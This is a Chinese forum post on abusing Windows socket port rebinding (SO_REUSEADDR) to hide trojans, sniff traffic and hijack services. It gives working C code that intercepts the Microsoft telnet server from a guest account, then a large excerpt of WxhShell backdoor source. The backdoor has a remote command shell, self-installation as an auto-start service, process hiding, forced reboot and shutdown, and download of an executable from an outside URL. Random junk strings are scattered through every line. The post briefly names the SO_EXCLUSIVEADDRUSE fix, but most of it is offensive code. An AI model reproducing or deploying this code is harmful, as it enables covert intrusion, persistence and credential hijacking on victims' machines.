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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R7\{w(`K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &(z8GYBr  
x9XGCr  
  saddr.sin_family = AF_INET; uAPLT~  
j8D$/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @F""wKnV  
Apw-7*/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 18[?dV  
L<[,7V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [)b/uR  
[T$$od[.  
  这意味着什么?意味着可以进行如下的攻击: ve64-D  
PuUon6bZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MkluK=$  
_umO)]Si  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0{{p.n8a~  
&gKP6ANx2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D_,_.C~O  
.R<s<]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  erAZG)  
hc@;}a\Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >$k 4@eg!  
6`$,-(J=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 he#Tr'j  
OTy 4"%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `#IT24!  
2Wc;hJ.1  
  #include *aSRKY  
  #include T$>=+U  
  #include IdC k  
  #include    6):sO/es  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3'gd'`Hn/  
  int main() egIS rmL+X  
  { 34O+#0<y~  
  WORD wVersionRequested; ]UpHD.Of[t  
  DWORD ret; 4n.i<K8K[  
  WSADATA wsaData; &H p\("  
  BOOL val; 7W>}7  
  SOCKADDR_IN saddr; v J,xz*rc`  
  SOCKADDR_IN scaddr; hQW#a]]V:  
  int err; $[^ KCNB  
  SOCKET s; Z "+rg9/p  
  SOCKET sc; .DV#-tUh  
  int caddsize; 6|(7G64{  
  HANDLE mt; _UbR8  
  DWORD tid;   ^/5E773  
  wVersionRequested = MAKEWORD( 2, 2 ); ^*owD;]4_  
  err = WSAStartup( wVersionRequested, &wsaData ); Wpg?%+Y  
  if ( err != 0 ) { :,J86#S)  
  printf("error!WSAStartup failed!\n"); |L~gNC  
  return -1; w~FO:/  
  } n(F<  
  saddr.sin_family = AF_INET; |'l* $  
   "b+3 &i|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !gA^$(=:"  
;R- z3C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0I AaPz/e  
  saddr.sin_port = htons(23); hzf}_1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wxr}*Z:ZMa  
  { *b7 ^s,?  
  printf("error!socket failed!\n"); Q:xI} ]FM  
  return -1; uJAB)ti2I  
  } ?;r7j V/`j  
  val = TRUE; oq m{<g?2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tX2>a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,:Y=,[n  
  { ,r)d#8  
  printf("error!setsockopt failed!\n"); !C)>  
  return -1; eVbh$cIrZ  
  } t)kr/Z*p\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TlZlE^EE<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }X.8.S'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GmWQJYX\  
~TmHnAz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) looPO:bo^  
  { C&MqUj"]  
  ret=GetLastError(); AXv3jH,HF  
  printf("error!bind failed!\n"); f>JzG,-  
  return -1; {&AT}7  
  } ovRCF(Og,  
  listen(s,2); C@:N5},]  
  while(1) V:$ 1o  
  { 7Bb@9M?i  
  caddsize = sizeof(scaddr); TbUkqABm  
  //接受连接请求 3 mMdq*X5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KHC(MdZ  
  if(sc!=INVALID_SOCKET) ="PywZ  
  { o~z.7q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g&20F`.N*>  
  if(mt==NULL) :zk.^q  
  { \V7x3*nA  
  printf("Thread Creat Failed!\n"); Dl!'_u  
  break; `1}yB  
  } m`w6wz  
  } \VzQ1B>k  
  CloseHandle(mt); +GEKg~/4e  
  } :<|fZa4!"  
  closesocket(s); Wh&Z *J  
  WSACleanup(); cN(QTbyl6Q  
  return 0; )9P  
  }   TOP'Bmb  
  DWORD WINAPI ClientThread(LPVOID lpParam) m*WEge*$t  
  { p{_ O*bo  
  SOCKET ss = (SOCKET)lpParam; &5CeRx7%  
  SOCKET sc; ]$X=~>w  
  unsigned char buf[4096]; . *+7xL  
  SOCKADDR_IN saddr; bJu,R-f  
  long num; FP cvkXQD  
  DWORD val; hYQ%|CBXBR  
  DWORD ret; ).6/ii9gt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l@2`f#y1~<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lJpv  
  saddr.sin_family = AF_INET; 7VD7di=D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +.Ukzu~s  
  saddr.sin_port = htons(23); P>cJ~F M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lgw@y!Llij  
  { o`]FH _  
  printf("error!socket failed!\n"); +Gs;3jC^  
  return -1; m^&mCo,  
  } *^m.V=  
  val = 100; Gf$>!zXr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ojI"<Q~g  
  { v*p)"J *  
  ret = GetLastError(); tz> X'L  
  return -1; 0{@Ovc  
  } M%LwC/h:,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G&B}jj  
  { X%qR6mMfT7  
  ret = GetLastError(); x{w?X.Nt  
  return -1; ph.:~n>z  
  } /60=N `i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w9}IM149  
  { 3m9 E2R,  
  printf("error!socket connect failed!\n"); z?g4^0e  
  closesocket(sc); ) x $Vy=  
  closesocket(ss); {?_)m/\  
  return -1; y(g Otg  
  } LA3,e (e  
  while(1) `t"Kq+  
  { ,l"2MXD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T7X2$ '  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  D -EM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7q=xW6  
  num = recv(ss,buf,4096,0); (8/xSOZ[  
  if(num>0) \M^4DdAy  
  send(sc,buf,num,0); B(NL3WJ  
  else if(num==0) En%o7^W++  
  break; ;Q 6e&Ips/  
  num = recv(sc,buf,4096,0); qWK7K%-$ E  
  if(num>0) TUCp mj  
  send(ss,buf,num,0); 2o}FB\4^i  
  else if(num==0) 2(xKE_|  
  break; 5,fzB~$TX(  
  } b .@dUuKz-  
  closesocket(ss); &~i &~AJ  
  closesocket(sc); 0{uX2h  
  return 0 ; 8z v6Mx  
  } a_j#l(] 9  
p =O1aM  
NX/)Z&Fx:  
========================================================== }e|]G,NZO  
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下边附上一个代码,,WXhSHELL P_%l}%   
NsK>UJ'  
========================================================== *]u/,wCB  
eHIC'b.  
#include "stdafx.h" <<6#Uz.1  
bsDUFXH]  
#include <stdio.h> J?DyTs3 Z  
#include <string.h> )8PL7P84  
#include <windows.h> S}yb~uc,  
#include <winsock2.h> g*9>z)  
#include <winsvc.h> l;i u`  
#include <urlmon.h> breVTY7 S  
DSa92:M}  
#pragma comment (lib, "Ws2_32.lib") Z 0^d o  
#pragma comment (lib, "urlmon.lib") s_ $@N!  
VNfx>&`  
#define MAX_USER   100 // 最大客户端连接数 h{9 pr  
#define BUF_SOCK   200 // sock buffer JE!Xf}nEi  
#define KEY_BUFF   255 // 输入 buffer ~<-h# B  
SJe;T  
#define REBOOT     0   // 重启 Nzt1JHRS  
#define SHUTDOWN   1   // 关机 SesO$=y  
Ml ^Tb#  
#define DEF_PORT   5000 // 监听端口 w Nnb@  
s)=7tHoqB)  
#define REG_LEN     16   // 注册表键长度 ^4i3#}  
#define SVC_LEN     80   // NT服务名长度 WR%iUO40  
|'#NDFI>}  
// 从dll定义API -JkO[ IF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 21Opx~T3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b?,y%D) '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AG%aH=TKp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C\K--  
X[}%iEWzT  
// wxhshell配置信息 ponvi42u  
struct WSCFG { (d\bSo$]  
  int ws_port;         // 监听端口 Vh&KfYY  
  char ws_passstr[REG_LEN]; // 口令 Qmn5-yiw1d  
  int ws_autoins;       // 安装标记, 1=yes 0=no %hh8\5l.:  
  char ws_regname[REG_LEN]; // 注册表键名 (6b%;2k  
  char ws_svcname[REG_LEN]; // 服务名 C7:Ry)8'I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pj`-T"Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iddT.   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $cedO']  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v'=APl+_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )i>KgX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BGS6uV4^>  
;2~Q97c0  
}; c{q`uI;O  
Zl*!pQ  
// default Wxhshell configuration 1-fz564  
struct WSCFG wscfg={DEF_PORT, bzS [X  
    "xuhuanlingzhe", _BV:i:z  
    1, YXEZ&$e'  
    "Wxhshell", jXQ_7  
    "Wxhshell", I._=q  
            "WxhShell Service", i)ctrdP-  
    "Wrsky Windows CmdShell Service", =r2d{  
    "Please Input Your Password: ", H'.d'OE:I  
  1, -mF9Skj  
  "http://www.wrsky.com/wxhshell.exe", cE[lB08  
  "Wxhshell.exe" 6=k^gH[g  
    }; ~%ZO8X:^  
%K4-V5f  
// 消息定义模块 r`@Dgo}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IYFA>*Es  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FdD'Hp+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @2<J_Ja  
char *msg_ws_ext="\n\rExit."; lHU$A;  
char *msg_ws_end="\n\rQuit."; YDwns  
char *msg_ws_boot="\n\rReboot..."; kW9STN  
char *msg_ws_poff="\n\rShutdown..."; bYfcn]N  
char *msg_ws_down="\n\rSave to "; p%_TbH3j`  
4$rO,W/&0  
char *msg_ws_err="\n\rErr!"; =/;(qy9.-R  
char *msg_ws_ok="\n\rOK!"; s.U p<Rw  
o/xE O=AW  
char ExeFile[MAX_PATH]; pI4<` K  
int nUser = 0; 9UZX+@[F  
HANDLE handles[MAX_USER]; ()Z$j,2  
int OsIsNt; OR O~(%-(e  
4{_5z7ody  
SERVICE_STATUS       serviceStatus; %9K@`v-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G[mYx[BTz  
6=FuH@Q&  
// 函数声明 iDA`pemmi&  
int Install(void); \[BnAgsF  
int Uninstall(void); u|C9[(  
int DownloadFile(char *sURL, SOCKET wsh); f]EHDcC3X  
int Boot(int flag); vzU%5,  
void HideProc(void); [,c>-jA5  
int GetOsVer(void); 20q T1!j u  
int Wxhshell(SOCKET wsl); PSE![whK  
void TalkWithClient(void *cs); 711 z-  
int CmdShell(SOCKET sock); Ni`qU(I'|  
int StartFromService(void); <Aa%Uwpc  
int StartWxhshell(LPSTR lpCmdLine); Je'$V%{E  
:MpCj<<[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n1ICW 9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @'QBrE  
anbr3L[!  
// 数据结构和表定义 ZO,]h9?4  
SERVICE_TABLE_ENTRY DispatchTable[] = 0bor/FU-d  
{ -(jcsqDk  
{wscfg.ws_svcname, NTServiceMain}, L\UYt\ks  
{NULL, NULL} G8SJ<\?  
}; p=zjJ~DVd  
U*Q$:%72vO  
// 自我安装 pd|s7  
int Install(void) 9Ah4N2nL-b  
{ JkKI/ 5h  
  char svExeFile[MAX_PATH]; nm)F tX|A  
  HKEY key; CAXU #  
  strcpy(svExeFile,ExeFile); Bn.8wMB  
/1Eg6hf9B  
// 如果是win9x系统,修改注册表设为自启动 #>0nNR[$Y  
if(!OsIsNt) { }\@*A1*X2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mVxS[Gq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )9*WmFc+#  
  RegCloseKey(key); *]LM2J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5b&'gd^d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 30<^0J.1  
  RegCloseKey(key); bV"0}|A~K  
  return 0; YRK4l\_`  
    } =hA/;  
  } /q=<OEC  
} ^71sIf;+  
else { )3;S;b  
$V[ob   
// 如果是NT以上系统,安装为系统服务 9]Y@eRI<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UZyo:*yB  
if (schSCManager!=0) O_E[F E:+  
{ {AZW."?  
  SC_HANDLE schService = CreateService *+ b[v7  
  ( Zffzyh  
  schSCManager, yEH30zSt  
  wscfg.ws_svcname, @A:Xct  
  wscfg.ws_svcdisp, %l>^q`p  
  SERVICE_ALL_ACCESS, D~-Ri`k.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZY83, :<  
  SERVICE_AUTO_START, *_ "j"{  
  SERVICE_ERROR_NORMAL, yPL@uCzA@  
  svExeFile, $zJ.4NA  
  NULL, [u<1DR  
  NULL, ? xy~N?N  
  NULL, v8LKv`I's  
  NULL, )0NA*<Q+.  
  NULL _ ZJP]5  
  ); s)}C&T$Y.  
  if (schService!=0) XRZmg "  
  { c[4Z_5B  
  CloseServiceHandle(schService); MQhL>oQ  
  CloseServiceHandle(schSCManager); }%%| '8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %zWtPxAf  
  strcat(svExeFile,wscfg.ws_svcname); IkD\YPL;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .7oz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ z?<'Tj  
  RegCloseKey(key); $} ~:x_[  
  return 0; eOS#@6U=u  
    } N/Z<v* i"  
  } g4Tc (k#  
  CloseServiceHandle(schSCManager); +YP,LDJ!v  
} N O'-HKHj  
} [~x Q l  
Oq[tgmf  
return 1; CYz]tv}g:  
} 4/$]wK`  
3^8%/5$v  
// 自我卸载 PQ1\b-I  
int Uninstall(void) .Zo8KwkFY  
{ cd\0  
  HKEY key; @;pTQ 5 I  
S/8xo@vct]  
if(!OsIsNt) { }E*#VA0/nY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @dGj4h.  
  RegDeleteValue(key,wscfg.ws_regname); w!h!%r  
  RegCloseKey(key); 9kTU|py  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !}U&%2<69  
  RegDeleteValue(key,wscfg.ws_regname); Fe8xOo6  
  RegCloseKey(key); 3rs=EMz:w  
  return 0; >*EcX3  
  } &Jq?tnNd  
} L~~;i'J  
} qL(Qmgd  
else { ^lf)9 `^U  
s2q#D.f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `*N2x\+X  
if (schSCManager!=0) lr=*Ty(V  
{ ZfS-W&6Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iGM-#{5  
  if (schService!=0) YYN= `ST  
  { uS3J^=>@(a  
  if(DeleteService(schService)!=0) { {~VgXkjsC  
  CloseServiceHandle(schService); >!?u8^C  
  CloseServiceHandle(schSCManager); +tl&Jjdm  
  return 0; PbCXcs  
  } T~_+\w  
  CloseServiceHandle(schService); ^[!LU  
  } cSQvP.  
  CloseServiceHandle(schSCManager); ji:JLvf]%  
} >{V]q*[/;Q  
} m;k' j@:  
UfXqcyY(  
return 1; @32JMS<  
} yPKeatH]  
g?)9zJ9  
// 从指定url下载文件 S'lZ'H/  
int DownloadFile(char *sURL, SOCKET wsh) YEQ}<\B\&  
{ &*r YY\I  
  HRESULT hr; MYDAS-  
char seps[]= "/"; M{1't  
char *token; ]=7}Y%6  
char *file; l\JoWL  
char myURL[MAX_PATH]; )FYz*:f>&  
char myFILE[MAX_PATH]; NbSkauF~b  
X^7bOFWE  
strcpy(myURL,sURL); !'[f!vsyM{  
  token=strtok(myURL,seps); ^dld\t:tV7  
  while(token!=NULL) [PdatL2  
  { )lE]DG!  
    file=token; `#E1FB2M  
  token=strtok(NULL,seps); RKx" }<#+  
  } N.l+9L0b  
"xi)GH]H_  
GetCurrentDirectory(MAX_PATH,myFILE); )L<NW{  
strcat(myFILE, "\\"); n'K,*  
strcat(myFILE, file); YOqGFi~`  
  send(wsh,myFILE,strlen(myFILE),0); [g`P(?  
send(wsh,"...",3,0); MZv In ZS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h:}oUr8   
  if(hr==S_OK) vg5i+ry<  
return 0; @/g%l1$`  
else aTxss:7]  
return 1; P?\IlziCB  
q{nNWvL  
} TW" TgOfd  
n>" 0y^v  
// 系统电源模块 1.6yi];6  
int Boot(int flag) WnyEdYA  
{ [2"a~o\  
  HANDLE hToken; 7o-umZ}8  
  TOKEN_PRIVILEGES tkp; pHXslmrD  
kFg@|#0v9  
  if(OsIsNt) { gG!L#J?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c_"]AhV~Mg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9LI #&\lba  
    tkp.PrivilegeCount = 1; |7LhE+E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . K s%ar  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4"nb>tA  
if(flag==REBOOT) { p Wa'Fd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z%E;*R2+:>  
  return 0; 4V@raI-  
} $WED]X@X!  
else { wM9HZraB<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @GNNi?EY  
  return 0; i7 _Nv  
} 1RgtZp%  
  } D2z" Z@  
  else { 7o_1PwKS6  
if(flag==REBOOT) { j^-E,YMC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mnh>gl!l  
  return 0; ;x^WPY Ej  
} .jA'BF.  
else { WhQK3hnm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^cs:S-s  
  return 0; bFD vCF  
} @ qy n[C  
} SaceIV%(  
V3r1|{Z(  
return 1; lI~T>Lel2  
} ZfsM($|a  
7}>Zq`]~  
// win9x进程隐藏模块 j} t"M|`  
void HideProc(void) 33IJbg  
{ 7)SG#|v[$  
awxzP*6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O< [h  
  if ( hKernel != NULL ) K9O%SfshF  
  { xVw9_il2a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5#|D1A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X$Eg(^La  
    FreeLibrary(hKernel); cLhHGwX=x  
  } u5zL;C3O  
{BPNb{dBKr  
return; Hj(ay4 8  
} Lu?MRF f  
G%5bQ|O  
// 获取操作系统版本 $23*:)&J4  
int GetOsVer(void) W}jel}:  
{ PIOG| E  
  OSVERSIONINFO winfo; %EV\nwn6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \vwsRT 1  
  GetVersionEx(&winfo); 5^lFksZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  t~_vzG  
  return 1; ggn C #$  
  else >1uo5,wrF  
  return 0; Uao8#<CkvJ  
} 0i/!by {@  
),cozN=NM  
// 客户端句柄模块 @ByD=  
int Wxhshell(SOCKET wsl) RBuerap  
{ ]+4QsoFNt  
  SOCKET wsh; VgGMlDl  
  struct sockaddr_in client; ^EtBo7^t  
  DWORD myID; v<0\+}T1R  
["O/%6b9+  
  while(nUser<MAX_USER) +\Uq=@  
{ 4f~ c# 0?  
  int nSize=sizeof(client); /Q]6"nY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8`g@ )]Iy  
  if(wsh==INVALID_SOCKET) return 1; p} }pq~EH/  
x;N@_FZ7KY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J)o.@+Q}  
if(handles[nUser]==0) c?(;6$A  
  closesocket(wsh);  #dO8) t  
else qe^d6  
  nUser++; fGdT2}gd  
  } mv1g2f+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JJC Y M  
xD.Uh}:J  
  return 0; +|0f7RB+R  
} IkWV|E  
oyw*Z_9~  
// 关闭 socket a%nksuP3  
void CloseIt(SOCKET wsh) n1XJ uc~  
{ mH`K~8pRg  
closesocket(wsh); l7T@<V  
nUser--; j(xVbUa  
ExitThread(0); Budo9z_w  
} h95a61a,Vy  
7l%]O}!d)  
// 客户端请求句柄 9N[(f-`  
void TalkWithClient(void *cs) "%zb>`1s  
{ t@(:S6d  
t_xO-fT)  
  SOCKET wsh=(SOCKET)cs; S"=y >.#  
  char pwd[SVC_LEN]; L/Tsq=  
  char cmd[KEY_BUFF]; 3bsuE^,.@  
char chr[1]; u B~C8}  
int i,j; )70i/%}7  
reP)&Fo  
  while (nUser < MAX_USER) { VsU*yG a  
t/$:g9V%FA  
if(wscfg.ws_passstr) { s2Rg-:7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @"h @4q/W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !=)b2}e/>  
  //ZeroMemory(pwd,KEY_BUFF); [[XbKg`"?  
      i=0; h/goV  
  while(i<SVC_LEN) { {)`tN&\  
XfZ^,' z  
  // 设置超时 OUtXu7E$  
  fd_set FdRead; D`4>Wh/H  
  struct timeval TimeOut; D`9a"o  
  FD_ZERO(&FdRead); 0 k (su  
  FD_SET(wsh,&FdRead); 8el\M/u{  
  TimeOut.tv_sec=8; uD=FTx  
  TimeOut.tv_usec=0; *`]#ntz9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x*#9\*@EI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w. c]   
F`Ld WA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D$?}M>  
  pwd=chr[0]; [ !<  
  if(chr[0]==0xd || chr[0]==0xa) { 0Z4o3r[  
  pwd=0; e)M)q!nG  
  break; O3JBS^;V2  
  } >OxSrc@A  
  i++; ).$q9G  
    } ,&F4|{  
sx^0*h-Qq  
  // 如果是非法用户,关闭 socket -dyN Ah?=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x=I|O;"><  
} 5 (cgHr"  
5>x?2rp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^yFtL(x,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ze.\<^-t  
aj`_* T"A  
while(1) { z)_h"y?H{%  
/^pPT6  
  ZeroMemory(cmd,KEY_BUFF); X,mqQ7+  
4:0y\M5u  
      // 自动支持客户端 telnet标准   Vh}F#~BrI  
  j=0; H&*KpOL  
  while(j<KEY_BUFF) { qP5'&!s&!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BG9.h!  
  cmd[j]=chr[0]; h0z>dLA#2  
  if(chr[0]==0xa || chr[0]==0xd) { JwNB)e D  
  cmd[j]=0; WV&grG|  
  break; V4 8o+O  
  } ))xP]Muv  
  j++; 7x''V5*j  
    } b haYbiX?  
U6xs'0  
  // 下载文件 ;&} rO.0  
  if(strstr(cmd,"http://")) { ^Q9!DF m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sg+0w7:2  
  if(DownloadFile(cmd,wsh)) b[Qe} `W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ rh{  
  else [XbNZ6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CzfGb4  
  } %1Nank!Zj  
  else { mx=2lL`  
w!--K9  
    switch(cmd[0]) { ;7*R;/  
  `G_k~ %  
  // 帮助 We)l_>G  
  case '?': { Iw[7;B5v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xcM*D3  
    break; b^^ .$Gu  
  } 3aUWQP2  
  // 安装 ~\khwNA  
  case 'i': { PC)aVr?@@  
    if(Install()) )aAKxC7w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); COc t d  
    else .^!<cFkCE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,+nS%a  
    break; =-%10lOI  
    } ?2nF1>1  
  // 卸载 T=,A pa  
  case 'r': { &rfl(&\oUi  
    if(Uninstall()) EWC{896,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;t6Slc"~  
    else .C\##   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YT~h1<se  
    break; $!v:@vNMs  
    } 11YpC;[o  
  // 显示 wxhshell 所在路径 eufGU)M  
  case 'p': { g:eq B&&  
    char svExeFile[MAX_PATH]; ^\Epz* cL  
    strcpy(svExeFile,"\n\r"); e1/{bX5  
      strcat(svExeFile,ExeFile); AU 4K$hC^  
        send(wsh,svExeFile,strlen(svExeFile),0); Xy]Pmt  
    break; yvIzgwN%s!  
    } P$#{a2  
  // 重启 SX]uIkw  
  case 'b': { 5j~1%~,#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,X}Jpi;/  
    if(Boot(REBOOT)) wAKm]?zB>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bdr'd? u<A  
    else { >K n7A  
    closesocket(wsh); &>A<{J@VL  
    ExitThread(0); i_f\dkol  
    } !hjA   
    break; Ox%p"xuP,  
    } (sqI:a  
  // 关机 e#odr{2#4u  
  case 'd': { wV^c@.ga  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?np3*;lw  
    if(Boot(SHUTDOWN)) 0vZ49}mb)  
